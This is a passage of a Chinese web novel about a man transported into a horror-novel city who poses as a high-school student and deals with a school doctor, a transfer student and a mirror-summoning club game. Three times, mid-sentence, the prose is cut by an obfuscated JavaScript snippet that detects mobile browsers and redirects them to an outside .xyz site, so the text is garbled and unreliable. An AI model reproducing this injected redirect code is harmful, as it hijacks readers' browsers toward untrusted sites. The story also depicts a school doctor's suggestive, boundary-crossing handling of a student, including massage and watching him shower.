等到转学生和李老师离开后，一旁的林西才又嘀咕道：“什么一会儿见啊。他知道我们是哪个班的吗？”虽然他们知道这家伙多半是要转来一班了。 江时早只思索了半秒：“可能他想的是我们都在一个学校里，时常能见面吧。” 林西看着转身生和老李离开的方向，摸了摸后脑勺，忽然，他感觉一道阴影罩了过来。 林西瞬间回头也回神了。 ——忘了温老师还在这里！ 温鹤临这会儿正看着江时早，再开口时，已经完全没有了之前与转学生之间无形的争锋相对。 “时早，去一趟校医室吧，检查一下。”温鹤临说着，目光有意无意地落在了江时早的膝盖与脚踝上。 看来是看见了之前江时早差点摔倒了的那一幕。 而听到对方的话语，江时早瞬间就明白了眼前这位白大褂先生的身份。 “不……不用了吧。我没有受伤。” 但几乎没有给江时早喘息的时间，温鹤临已经继续说道：“你刚刚落地的动作不规范，很容易造成膝盖的隐形受伤，这种伤一开始不注意，几个小时或者一天之后便会出现疼痛或伤势加重的情况。” “这样吗？”江时早感觉眼前的人非常专业。 而在铃城，受伤是觉对不可行的。如果膝盖疼痛的话，以后撞上灵异事件，想要逃跑都困难！ 江时早被说动了。他轻轻活动了一下膝盖与踝关节，感觉与平时并无两样，但此刻他已经觉得很有必要与眼前的校医去一趟医务室了。 就当是预防性的擦一点药或者喷雾保护一下膝盖也好。 “对啊，时早你就跟温老师去看看吧。”林西这时在一旁附和道，“你刚刚的动作看起来太危险了！” 江时早刚刚那个投篮的动作是双脚离地，身体向后倾的远距离三分球投篮。 但不知道怎么回事，投球的人在半空时重心忽然改变了，以至于出现了失误。 江时早听后也点了点头，再看向穿着白大褂的校医时，他已经知道了这位专业且好心的校医的姓氏，于是说道：“好的，温老师。谢谢您。” 温鹤临眯了眯眼，镜片后的目光幽深隐秘，他轻声回道：“不客气。” “跟我来吧，时早。” “啊，好的。”江时早应声跟上。 等到两人身影走远后，林西才抱着球说道：“温老师对时早真好啊。” 杨元青说：“那不是很正常吗，大家都很喜欢时早啊。”说到这里，杨元青的声音低了些，“而且时早家里那个情况……也没有什么人关心他。” 两人对话时，忽然又听见了一阵嘻嘻嘻的怪异笑声。 林西摸不着头脑地看了眼操场边的同学们，他和杨元青说道：“不是，她们从刚才开始到底一直在笑什么啊？” 杨元青摊了摊手，表示自己也不清楚。 “你们还打不打球了。”另一边，何天一已经不耐烦地催促道。 何天一看着江时早的身影彻底消失在医务室所在的那栋三层楼前后，这才收回了视线。然后就开始火躁催促。 “打打打！”林西把球扔了过去。 他这后桌的脾气真的不太行。够大的。还是时早好啊。 …… 而此刻的教学楼四楼，温序站在阳台边，幽暗的目光同样落在了医务室的方向。 5. 第五章 校医室位于操场和体育馆之间的综合楼底层。 此刻，房间内洁白的诊疗床上，江时早坐在床沿边，在这安静的氛围中，他认真思考起了之前发生的一系列事。 其实当温序说出温风吹絮绕江城时，江时早的内心有过一瞬间的触动。 因为江城—— 江时早就来自江城。 医务室里，温鹤临的身影就在江时早视野可及的医疗器械柜前方，对方背对着他，看上去正在寻找什么工具。 正对着校医室门口的桌子上摆放着一台电脑，旁边有堆积的档案，和一块金属名牌。 江时早的目光落在名牌上方，那里刻着黑色的字体：温鹤临。 这位校医的名字是温鹤临。 那之后，江时早的视线又怔怔地回到了温鹤临的背影上，他看着对方不紧不慢地从器械柜中取出了一把软尺。 ……这是做什么用？ 而江时早这时也想到了另一件事。 在铃城，“温”似乎是一个非常常见的姓氏。 江时早想到了邻居温执，想到了在公交车上遇见的温浅川，想到刚刚见面的转学生温序……最后他看向了眼前的校医，温鹤临。 他们都姓温。 几乎同时，他也想到了作者Abyss。 之前有一次作者访谈中，采访者曾提及过小说家Abyss的姓氏。那位采访者称Abyss为“温老师”。 江时早觉得自己或许勘破了这之间可能存在的逻辑关联。 因为作者Abyss姓温，所以在他所创作的小说世界里，许多如同背景板般存在的路人便会自动冠以温姓。 比如不曾在原著已知剧情中占据篇幅的校医，更比如生活在铃城南岸的人们。 “在想什么？” 就在这时，成熟又磁性的嗓音在只有两个人的校医室中响起，将江时早唤回神。 江时早看向已经走到了诊疗床旁边的校医先生。 明明只是站在那里，对方高大的身影却像一座巍巍山岳，仿佛随时都能压过来，桎梏住一切。 江时早的呼吸莫名急促了一下。 明明温鹤临的面庞上、眼眸里都是温缓笑意，江时早却奇怪地感到了一丝紧张。 这种紧张令他的面颊微妙的升温。 早在江时早穿来的第一天，他就已经清楚地了解到自己的情况是“身穿”。 所以他才更加地小心与警惕。 因为这是自己的身体！如果他在书中世界发生了意外，江时早不敢想象后果。 校医室里的白织灯十分明亮，这张诊疗床又位于窗边。 尽管温鹤临走来时拉上了周围的隔断帘，使他与江时早置于了一个更加隐秘的空间中。但上方的白织灯与窗外的光线仍旧使这个空间明亮如白昼。 按理说，在这样的环境中，江时早不应该感到紧张才对。 何况眼前的校医先生一看就是一位既温和又热心的好人。 最终江时早将自己的不正常反应归结于自己今天反常的见鬼频率。 不知道是出了什么状况，他撞上灵异现象的频率好像忽然间变高了……应该说是异常的高。 就今天来说，只一个清晨，他就已经撞上了至少四起灵异现象。 从南岸13号站台上的女人，到楼梯上的学生，再到教室过道里的怪异水渍，最后是吊在篮球框下的人…… 只是回忆，江时早都忍不住轻颤了一下。他不确定这种情况只是今天如此，还是这个世界真的出现了未知的变化。 对，这个世界一定出现了某种变化，因为他已经会在晴天见到鬼魂了，这至少说明鬼魂们变得活跃起来……但这是因为什么？会和他这个穿书者的到来有关吗？ 可之前一周里，鬼魂们并没有如此活跃。他已经到来了一周，变化却在今天出现。而这种变化如果与他无关，又会是什么原因导致的？ 在这种深陷未知的情绪中，江时早望向了身前的校医。 温鹤临这时微微躬下了身，镜片后的眼眸深深注视着坐在床沿边的人。 江时早或许并不知道，他自己的眼睛有多么动人。好像他的心思都写在了那双眼睛里，让看着它的人……升起无限的怜惜。 尤其当这双眼睛里流露出无助时，你能感受到他在向你求助。 “……时早。”温鹤临开口时，他伸出的手已经揽在了江时早的双腿下方。 短暂的数秒间，原本坐在床沿边的江时早就被温鹤临改变了姿势。 温鹤临将他的双腿放在了诊疗床上，江时早也从原本的坐在床沿边，变为了正向坐在床上。 而温鹤临在将他的双腿放在床上后，又贴心地帮他脱了鞋。 温鹤临的动作太自然了，行云流水般的，自然到江时早都没能反应过来，自己就已经被置放妥当了。 “呃……”慢了半拍的江时早原本想说他可以自己脱鞋的……但最后他只来得及说出一句： “谢谢您……温老师。” “不客气。” 温鹤临在做完这一切后，再次站直了身形，他刚刚低下身将男生的球鞋放在了校医室光洁的地面上。 那之后，他用一旁的医疗湿巾擦了擦手，这倒不是因为他嫌弃自己的手指刚刚碰到了江时早的球鞋和白袜，而是因为他接下来要做的事…… 温鹤临的手轻按在了男生的膝盖上。 他的体温比江时早低，那一瞬间，被触碰的江时早感到了一种清凉的触感，在自己的膝盖上升起，又散开。但随着触碰的加深，那道感觉逐渐温热，以至于沿着他的神经，一路攀上了他的大脑中枢区域。 明明校医只是用手触碰了他的膝盖。 但在这种陌生的接触中，江时早的唇边竟然不受控制地溢出了点点声音。 这奇怪的声音，吓的他差点抬手捂住了嘴！ 然后他就对上了校医先生温和的目光。 “……有、有点痒。”江时早小声解释道，眼睛里全是不好意思的羞臊。 温鹤临则十分体贴地、善解人意地说道：“没事的时早，如果感觉痒的话，可以叫出来的……这是正常情况。” 江时早更加不好意思了。 自己好歹也是一个成年人了，怎么会被人碰一下膝盖就叫了出来！他不记得自己以前有这毛病啊？ 这时，温鹤临又抬手扶了扶江时早的肩，示意男生可以躺下。 “我帮你做一下保护性按摩。”温鹤临温声说道。 “哦……哦好的。” 应声躺下后的江时早想到： 可能……可能……是因为校医先生的按摩手法太好了吧…… 江时早脸颊微红，视线飘移间，他想到自己从来都没有享受过这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660313|172916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种待遇！ 铃城高中的校医也太负责了吧！ 之后江时早也知道温鹤临之前在器械柜中翻出的软尺是作何用了。 温鹤临将软尺贴在男生的膝盖上，低头认真观察道：“没有肿胀。” 江时早不清楚具体的诊断流程，但听起来像是问题不大。这令他松了一口气。 他能感受到温鹤临的体温逐渐温热了起来，因为对方放下软尺后，那修长的手指又按在了他的肌肤上。 而触感早已不似最初的清凉。 那之后，温鹤临不仅帮江时早按揉了膝盖，还连同大腿、小腿、踝关节……最后到脚底，他都一并帮江时早放松了一下。 这个过程中，好几次没能忍住的江时早又叫了几声。 每当这时，校医先生总会体贴地暂停动作，用一种温和的、近乎包容的目光注视着他。 ……然后江时早就更加努力地，将这套保护性流程忍到了最后，没有半途而废。毕竟……他是一个坚强的成年人。 但明明刚才打球时都没有出汗，这会儿竟然感觉到运动衫上好像湿了一小片。 铃城高中的体育课，学生们会将校服换成统一的运动衫。如果期间进行了剧烈的流汗运动，便可以在下课前去往更衣室中的配套淋浴间内清洗后再换衣。 江时早已经在考虑是不是应该去清理一下了。 但他看了眼一旁柜子上的电子钟，现在距离下课时间已经很近了。等他到那时，淋浴间里或许已经没有其他人了。如果他这时一个人去那种地方…… 简直像是在送人头。 空无一人的淋浴间…… 江时早纠结了一秒。 就在这时，他听见了温鹤临的声音： “时早，你的衣服好像浸湿了。” 温鹤临看着眼前穿着白色短袖、天蓝短裤的江时早，他的手刚刚还放在过那片天蓝色上。 “校医室里有淋浴设施，你要使用吗？” “可以吗？”江时早下意识回答时，他的目光飘忽了一下……校医室里的独立淋浴间，感觉也不是特别安全。 虽然眼前的好心校医很可能就在外面。 但毕竟隔了一个空间…… 如果到时候出现了什么东西，他撞上的话…… 然后江时早就听见了： “我陪着你吧……你刚刚接受了恢复性按揉，这时肌肉会比较敏感。我可以在一旁看着你，避免你在清洗时……不小心摔倒。” 温鹤临一字一句地说道，并且听上去字字在理。 “……这样吗？”江时早再次望向了好心的校医先生。 如果有人愿意陪他去淋浴间，他当然是万分感动的。 下一秒，“真是太感谢您了，温老师。”江时早打从心底地感动道。 “不客气。”温鹤临的唇角微微扬起了一道弧度，他又说道： “我这里还有干净的、没有穿过的校服，可以先借给你用。” “！”听到这话，江时早差点热泪盈眶了。校医先生真的太全面了！ 眼前的温鹤临就像是小说中那些——那些在穿书者遇上困难时，主动帮助穿书者的引路好人啊。 “来吧，时早。”温鹤临说着，抬起了自己的右手。 他的手心向上摊开着，像是邀请，又像是，他只是想要扶着诊疗床上的少年下床。 6. 第六章 在好心校医的帮助下，十分钟后，江时早换上了干净的校服。 一身清爽。 因为淋浴，他的头发打湿了一些，不过好在外面是晴天，可能在回教室的路上，湿掉的刘海与发尾就晒干了。 校医室里的这间淋浴间是典型的无障碍设计，里面的空间对于一个人而言并不拥挤。 温鹤临一直站在门边守候着，在江时早褪去衣物和穿衣时，他都搭了把手。 对方接过了江时早换下的衣衫。又在男生淋浴之后递上了干净的校服。 江时早换下的衣物此刻就搭在一旁的置物架上。 这时，温鹤临打开了淋浴间的门，他侧身与江时早说道：“快上课了，时早，衣服我先帮你收起来。回头你再来取。” 门开的那一瞬间，江时早感受到一阵清新的空气从外面涌来，他点了点头道：“好的，谢谢您温老师。”晚点他就背着书包来取运动衫。 “不客气。”温鹤临说着，抬手扶了扶鼻梁上的镜架。 温热潮湿的空气并没有在那副金边眼镜的镜面上留下雾气，但淋浴间里的氤氲还是为江时早的视觉感官平添了阻碍。 此刻他有些看不真切温鹤临的轮廓。 不过在温鹤临开门的示意下，江时早心领神会地走出了那间原本仅供一人使用的淋浴间。 擦身而过的瞬间，温鹤临嗅到了一阵好闻的皂香，从经过之人的脖颈间传来。 又像是对方的全身，都在飘散着一种令人上瘾的香味。 温鹤临不露痕迹地、深深地吸了一口气。 之前那十来分钟中，这个人一直克己守礼。他克制着自己的感官，也不去看那站在花洒下的人，除非是必要的那两次搭手时…… 其实也没有很必要。 温鹤临抿了抿唇，现在，他可以光明正大地重新看向江时早了，并紧随着对方身后，离开了这间过热的淋浴间。 “老师，那我先走了。” “好，我送你到外面。” 温鹤临看着眼前的人，江时早有着一张充满少年气的五官与轮廓。 这一点他或许比任何人都清楚。 因为重新穿上了校服的江时早，完全可以融入到他在铃城的身份之中。 “对了，时早。” 就在江时早要转身时，忽然，温鹤临像是想起了什么，他唤住了即将离去的人。 江时早回头就看见校医先生的脸上正流露着一种略显困惑的神情。 “你最近没有来校医室午休了。”温鹤临注视着江时早，好像他真的在困惑： “是找到新的午休室了吗？……还是有别的原因？” 温鹤临这时的神情中已经多了一份小心翼翼，像是在照顾江时早的心情，他缓缓说道： “时早。我们不是说好了吗，你可以在午休时使用校医室里的休息间，你不需要有任何负担。或者你有什么难处，都可以直接与我说。” …… 听到温鹤临的这段话时，江时早惊讶地微微张开了嘴。 随之而来的竟然是一段从朦胧逐渐到清晰的记忆，仿佛意识深处有一片区域，拨云见日。 在温鹤临的声音中，江时早经历了如同之前系统在他的脑海中放映铃城的片段时的相似情况。 江时早想起了“自己”过去与校医先生相处的画面。 原来自两人相识以来，温鹤临对他一直很友好。 对方就像一位温和的兄长。在知道江时早往返公寓需要耗时近两个小时后，温鹤临便提出了将校医室的休息间提供给江时早午休时使用。 这样江时早在学校食堂用完午餐后，就可以在校医室休息一会儿了。 中午的校医室通常没有人。 而温鹤临除了铃城高中校医的身份外，对方同时也是学校里为数不多的三位心理老师之一。 ……一段段记忆在江时早脑海浮现。 江时早也很快收好了自己的表情。 忽然间想明白了很多问题。 原来他以前一直在借用校医室的休息间！ 刚穿来那会儿，江时早就意识到了在午休时间回家是一个非常不合理的安排，可行性非常低。 其实还有一个疑点—— 从他穿来的第一天起，江时早就对自己的人设背景与部分设定产生了怀疑。他有些疑惑，自己为什么没有直接选择住校。而是坚持每一天往返于南岸的公寓与铃城高中之间。 这设定真不像是逻辑严谨的Abyss会写出来的东西。哪怕他只是这个世界中一个背景板路人丙。 ……不过校医先生唤醒的记忆画面解答了江时早的部分疑问。 这会儿江时早回忆了一下自己这一周都在哪午休…… 苟如他，选了学校附近人最多的小公园打盹。 看着眼前的好心校医，江时早的眼神又飘忽了一下，他说：“快要考试了……最近中午都在公园里学习。” 这是真的。除了打盹，江时早也有在午休时间时重新浏览高中课本。毕竟在铃城这个地方，想要完全在一个地方放松下来休息是不可能的。 虽然现在知道了自己过去在哪里午休，江时早也没有打算再借用校医室。 温鹤临显然没有料到江时早对陌生环境和独处的警惕已经超越了一切，还没等他借口说出自己现在中午会在校医室里值班，以此来陪伴对方，使江时早感到安心—— 就已经听到了：“谢谢温老师，我没事。等过段时间，如果需要的话，我会来的。” 听到这道婉拒，温鹤临沉默了两秒，旋即又恢复了那副善解人意的表象。 “好的，考试加油。”温鹤临说着，心道没有关系，他还有很多机会，与时早相处。 不过在江时早离开前，温鹤临眯了眯眼。 “时早，这是我的电话，有事可以联系我……任何事，都可以找我。” 江时早看着温鹤临递来的名片，又一张名片，只短暂的怔了一秒，便接了过来。 “好的。”江时早熟练道。心想铃城的好心人真的太多了。这个世界也没有对他很残酷。 “一会儿给我发条信息，我也保存一下你的号码。” “好的！” …… 告别好心的校医后，离开综合楼的江时早独自向着教学楼方向走去。 走在温暖的阳光下，他不免又重新思考起了之前那个问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660314|172916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题。 见鬼频率变高了，小说中原本的设定也出现了变化……是什么导致了铃城的变化？ 【系统，系统？】 ……没有任何回应。 系统还在故障中……？ 不应该啊。江时早苦恼地皱了下眉。他刚刚都接收到新的记忆了。这竟然不是系统的功劳吗。 那是什么？ 难不成是和“自己”过去认识的人接触会唤醒记忆？ ……但是在他穿来前，他在铃城的身份就是“江时早”吗？ 呵呵，不可能。 ……那就是因为自己穿来了，所以这些人原本与他这个身份交往的相关记忆出现了集体认知变化？ 江时早越想越觉得有可能。毕竟自己的身体明明已经是年满二十二岁的社畜了，但是来到铃城后，无论是身边的同学还是铃城的居民，大家都没有怀疑过他高中生的身份。 冒充高中生很成功。 江时早内心为装嫩的自己羞愧了两秒。 等到江时早走到高二一班的教室后门时，眼尖的林西第一个发现了他。 “时早，你回来了！”林西一边说着，一边对着江时早挤眉弄眼。 江时早顺着对方的视线，注意到了坐在他身后那张桌子上的男生，是温序。 他真的转来了他们班。 那个位置在之前几天都是空着的。江时早只知道原本坐在他身后的同学因故请了一段时间假。没想到现在直接换人了。 温序这时已经偏过了头，他看向走入教室的江时早，主动开口道： “时早，以后我们就是前后桌了。请多指教。” “……请多指教。” “哈哈哈，你们别这么正经行么。”一旁的林西听不下去了。 温序成为他们的同学已经是既定事实，林西刚刚得知江时早曾经的后桌已经办理了转学手续，离开了铃城高中。 时早回来后，他立刻凑过来与江时早说了这件事。 没想到温序加入了他们的对话，这个转学生说：“很巧。” 听见声音，江时早微微侧身，就撞入了温序的眼眸。 那双琥珀色的眼眸中光线柔和。 温序说：“听说学校对我的安排原本是转入高二四班……结果一班恰好转走了一位同学，所以我才能插进来。”呵呵，有人想让他去四班，他偏要来一班。 温序内心冷笑连连，面上却愈发温柔，一双眼睛里仿佛只有江时早。 “真好，能和时早你做同学。” 听到这话，江时早莫名有些脸颊升温。还从来没人跟他这么说过话呢！原来自己的人缘……这么好吗！ 大家看起来都很想和他交朋友。 “……”一旁的林西沉默了一下。不知道为什么，每次转学生和时早说话，他就觉得哪里怪怪的……浑身都有点儿不得劲。 幸好这时上课铃响了，打断了几人的聊天。 林西快速坐回了自己的位置。 江时早则和温序说：“一会儿聊。” “好。”温序轻声回应，唇角上扬起一个恰到好处的弧度。 江时早对转学生温润的好脾气印象也趋于稳定。 7. 第七章 小说《铃城》停更的第八天。 江城夜晚。 一道身影懒散的靠在河岸一侧护栏边。 这人举在身前的手机屏幕上，光线明明晃晃。大约几分钟后，玩手机的人脸上露出了一个忍俊不禁的笑容。 那只手机屏幕上浏览的页面赫然正是某知名小说平台的读者与作者交流分享互动区页面。 屏幕上方： 【读者‘Zy007永不加班’留言：Abyss到底为什么停更啊？作者大会也没有出席，不可能是因为不满意铃城里面的感情戏吧，我不信！】 【读者‘Abyss你母胎单身吗’留言：言页就是在那里鬼扯！】 言页正是在作者大会上公然谈论过Abyss的那位写大男主爽文的平台知名作者，也是此刻正靠在栏杆边津津有味吃瓜的高个男子。真名林谒。 【读者‘Abyss是感情流作家’：我也觉得不可能。毕竟Abyss之前那几本的感情戏更像石，也没见他中途放弃。】 【读者‘Zy007永不加班’：咳。楼上的你是Abyss的读者吗！怎么说话的呢！不要灭自家威风长他人志气！！】 【读者‘Abyss你母胎单身吗’留言：就是就是。其实铃城都还算好了捏，目前来看除了依旧邪门外，问题不大。之前那几本的感情戏才是饱受诟病……早说了实在不行他就先去谈一场恋爱再回来写啊……】 林谒就是看到这里时笑出了声。他抬手压了压脑袋上的棒球帽，今晚江城的风有些大，他出门时还穿了件咖啡色的薄夹克。 那之后林谒握着手机的那只手手指极为灵活的切出了吃瓜页面，他打开手机通讯录，翻到了里面存着的某个不常联系的号码。 电话拨通了。 林谒清了清嗓子。 刚做完准备……然后就听见了电话被对面挂断时才有的忙音。 “嗯……”林谒的嘴角抽了一下。 不是很意外，所以他又拨了回去。 ……直到第三次拨打，对面终于接了电话。 冷沉的声音也通过听筒传了过来。 “什么事？” “你在哪呢？”听见人还活着，林谒挑眉问道。 他怎么感觉电话那头的人声音听起来有点亚健康啊？像是好几天没有休息过了。 不应该吧。 按理说对方都停更这么久了，不可能是在熬夜写文。 林谒分析着温执死气沉沉的可能原因。 “医院。”温执语言简练冷凝，仿佛多说一个字都嫌烦。 而听到回答，原本懒散的人也站直了身，林谒问道：“你生病了？在哪家医院？我去看看你？” “不需要。不是我。” “……不是你生病，你在医院？”林谒琢磨着这话里的潜台词，旋即又挑了挑眉。 温执居然是在医院陪人吗？ 但对方哪有什么需要陪护的朋友啊。 从来都是一个人独来独往。 反正林谒从未听说过自己的这位堂哥有朋友，倒是知道对方暗恋了一个人很多年，哈哈哈哈哈笑死……等等。 电话这头，林谒狐疑道：“哥，你真的没问题吗？要不我还是去看看你吧。” 连哥都还喊上了，林谒也算是表明了态度。主要是他现在有点怀疑生病在医院的是温执的那位暗恋对象。 这才能说通。毕竟能牵动他这位冷心冷情的堂哥，应该也只有那一位了。 林谒心想着温执这是终于跨出了关键一步，去和对方表白了，还是在追求对方？ 林谒记得自己上一次提起温执的暗恋对象时，当事人的回答还是： “他太好了。” “我不配。” ……虽然林谒不知道他这位堂哥到底在自卑什么。 ……除了因为爱而不得而在自己的灵异悬疑小说里加了点强制爱。 温执在当代社会应该算得上无公害无污染青年了。 当然，性格确实不怎么样。林谒想。但倒也不必如此自卑。好歹那张脸还是能看的。也不算一无是处。 ……不过现在最重要的是，温执的暗恋对象真的生病了？在医院？所以这才是《铃城》停更的真正原因？ 林谒清了一下嗓子，在电话里说道：“哥，你在哪家医院，我代表家里和你的读者去看望下您。” 当然，重点不是看温执。 林谒对自己的某个猜想感到十分兴然。 然后他就收到了言简意赅的一个字： “滚。” 电话被挂断了。 ………… 铃城高中。 上午的时间很快过去。江时早没有再撞上灵异现象。谢天谢地。 温序之前说他原本应该转入高二四班，这不免又让江时早想起了《铃城》这本小说的主角。 主角温枣转入的就是高二四班。 中午的下课铃声响起时，温序几乎和江时早同时起身，并发出邀请：“时早，一起去吃午餐吗？” “好啊。” “你想吃食堂还是校外？” “我都行。”江时早一点儿也不挑。不过话虽这么说，他的银行卡里好像钱不多。倒是校园卡里还有不少余额。 “那我们去食堂吧。”温序眯了眯眼，“我是第一次去食堂，时早你带带我。” “没问题。”江时早点了点头，心想包的，他之前一周已经摸熟了学校食堂。 一旁的林西听见这对话，再看向结伴成功的两人，回家的动作都缓慢了下来，“……” 林西和江时早一样是走读生，不过林西家离学校不远，中午时段他一般都会回家一趟。 但这会儿听见转学生对时早的邀约，林西的脚步霎时就顿在了原地。 同样是走读生的何天一也皱眉盯着这边。 “……？”注意到两人的注视，江时早看向林西和何天一，“你们也要吃食堂吗？” “行。”何天一比林西还要快速地应了下来。 林西看了看两边，最后挠了挠头说，“也行。好久没吃食堂了。等等我给我爸发条信息，辛苦他做饭了……希望晚上回去他别揍我。” 林西说着就看了眼温序，总觉得这个转学生想抢走他的好朋友时早。 最后一行四人一起坐在了学校食堂里，他们的位置是食堂一楼靠落地窗边。 感受着窗外投下的阳光，林西看着旁边似乎毫无察觉的江时早，不尴不尬道：“……这位置还挺晒，哈哈。” 江时早点了点头，“这里光线好，我每天都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660315|172916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐这。” 不仅离逃生出口近，并且即便是阴天，也是食堂中最明亮的一片空间。江时早这一周几乎都坐在落地窗附近的位置上吃饭。 林西看着身旁的江时早，少年白皙的脸庞在阳光下泛着淡金色的光晕。 “……那确实。”林西给予这大自然的打光一道肯定。 温序和何天一这时倒是很沉默，等到几人吃完午饭，还是林西先说道：“对了，你们看社团活动的通知了吗？今天下午是玩镜仙。” “镜……”什么仙？ 江时早惊恐地看向林西。他觉得这两个字组合在一起有很大的问题。 当“仙”字和“笔”、“碟”等字组合在一起时，都有很大的问题！ 这是什么社团活动？！ 林西没有注意到好朋友眼底的一缕惊慌，或者说他将江时早的反应误认成了激动。 毕竟每次社团活动，时早都很积极。 他们都是灵异小说爱好者！所有才会加入超现实研究社团！ 这时，坐在江时早对面的温序开口了。 “镜仙。听起来像是某种招魂游戏。”温序说着，目光柔和地望向江时早，“时早，你们这是什么社团？” 对啊，你们这是什么社团？ 江时早则看向了林西。 “超现实研究社。”何天一抬头时也看向了江时早，他说，“时早是副社长。” “是啊。”林西的目光转了一圈后落在了那个询问者身上，“温序，你对灵异游戏感兴趣？” 温序缓缓道：“我对时早参与的社团感兴趣。” 说完，这个人的目光又十分和煦的落在了时早身上。 林西咋了咋舌：“……”行。算他多嘴。 “时早，你们社团现在还招人吗？”温序问道。 江时早正处在一种心神俱震的状态：“……应该招的。” “招啊。”林西也肯定道，“当初要不是时早和社长努力，我们这社团都不一定能办下去呢。哦对，还要多亏温鹤临校医，愿意做我们社团的指导老师。” “这样吗？”温序眯了眯眼，笑道，“那太好了。社团活动是几点？” 何天一说：“今天下午第三第四节课和晚自习时间都是。” 周四是一周里学生参与兴趣活动和社团活动时间最多也最为自由的一天。 “你要是愿意，周一晚上也可也在社团玩。”林西补充道，“上周四是世界阅读日，这周一晚上又撞上了学校消防演习，算起来，我们都有一周没去社团活动了。” 听着大家的对话，此时的江时早已经是欲哭无泪了。而他也想起了一件事。 自己读中学时，还真参加过类似的社团活动，并且当时的他对此十分感兴趣。 ……但那不一样。就像他十分喜欢看Abyss写的小说。因为原来的世界十分安全，并不存在真正的诡异。生活在真实中的人才会格外喜欢书本世界与影视作品中所描绘、所展现的刺激与惊悚。甚至会去尝试注定不可能成功的招魂游戏。 但如果是真正存在灵异神怪的世界，江时早一点也不想作死！ 【系统……系统……要维持人设的话……必须参与社团活动吗？】 江时早在心中问道。遗憾的是系统仍旧无声无息。 8. 第八章 事情是怎么变成这样的。 昏暗的活动室里，江时早站在房间其中一个角落，他的右侧不远处是关闭着的7-14活动室的双开滑动门。左手边则是一张布置好的铺着白布的圆桌。 圆桌上的桌布垂到了地面，在昏暗中铺开了一片。 此刻，在这间属于超现实研究社团的活动室里，这样的圆桌一共有四张，它们分别被布置于房间的四个角落。 每张桌面的烛台上燃烧着一根白色蜡烛，这四角的橘黄色光是这片昏暗空间中不多的光源。 房间里的所有窗帘都已经被人提前拉上了。 而在这间活动室的正中央，四面全身镜正对着房间的四个角落，镜子之间间隔着一段距离，但从整体布局可以看出，它们的摆放构成了一个菱形。 角落的江时早身形紧绷，从确认游戏方式和参与者后，他几乎全神贯注地注视着房间里的情况。 此刻，四面全身镜的前方分别站了一位穿着铃城高中校服的男生。 从正对着江时早的那面镜子起，逆时针站在全身镜前的人分别是：林西、何天一、超现实研究社的社长曹青，以及一位高一的学弟单昊。 “那我们开始了？” 林西混杂着紧张与兴奋的声音在房间中央响起。这家伙确实一整天都在期待这个镜子游戏。 “开始吧。”社长曹青发话了。 这个戴着黑框眼镜、头发微长的高三年级社长站在江时早对角的那面镜子前。 在江时早的位置上，视野受限使他看不见曹青的身影。不过另一位“游戏观察者”——温序，这个新加入社团的转学生，他所站立的位置恰好是江时早的对角角落。 因此，站在另一个角落圆桌边的温序，刚好可以看见全身镜前的曹青，以及另外两面镜子前的何天一与单昊的侧影。 不过相较于认真担任“游戏观察者”的江时早，温序的视线实则穿越了一整个游戏空间，不偏不倚，借着昏暗环境，落在了另一位观察者的身上。 晦暗、黏腻在黑暗中滋生，在这个五月的下午，角落里的江时早却生起了一手臂的鸡皮疙瘩。 这环境真是有够吓人的——摸了摸手臂的江时早心想。 至于现在的情况……事情要从大约半个钟头前说起。 …… 半小时前。 下午第二节课的下课铃声响起后，林西便动员一行人来到了这间位于第二综合楼中属于超现实研究社社团的活动室7-14。 7-14活动室位于第二综合楼的七楼，是这栋楼最高一层，再往上便是天台。 江时早他们来到社团时，社长曹青和单昊已经布置好了“镜子游戏”的场景。 他们原本的计划是六人参与游戏，社团成员里还有一位与曹青同班的高三学姐李笙凝。 不巧的是学姐今天请假了。 巧的则是温序加入了。 游戏方式是参与者加观察者的形式。参与者就是真正站在镜子前进行招魂游戏的四人。 观察者则是站在角落的圆桌边，提防意外发生的那道保障。 “还好你来了。不然我们就只有一个观察者了。”社长曹青当时是这样对新成员说的。 理论上，观察者会是最先发现异常的人。 在知道游戏规则后，江时早就意识到了两位观察者的必要性。毕竟如果只有一个人站在角落，这个人的视野会受到相当大的限制。 更何况是在如此昏暗的环境中。 曹青说：两位观察者会分别站在对角的两个角落的圆桌边，如果发现游戏中出现了危险或紧急状况，观察者可以通过吹熄圆桌上的蜡烛，来破坏仪式的完整性，从而中断游戏。 注意，这位社长说的是出现危险或紧急状况才会中断游戏，而不是发现异常即刻中断。 事实上，他们准备进行的游戏正是一种相对经典的招魂游戏。也可以称之为‘见鬼游戏’，或是‘与鬼魂沟通的游戏’。 ……所以大家都是奔着见鬼来的，除了江时早。 而见鬼对铃城高中的朋友们来说竟然不算紧急或危险情况。 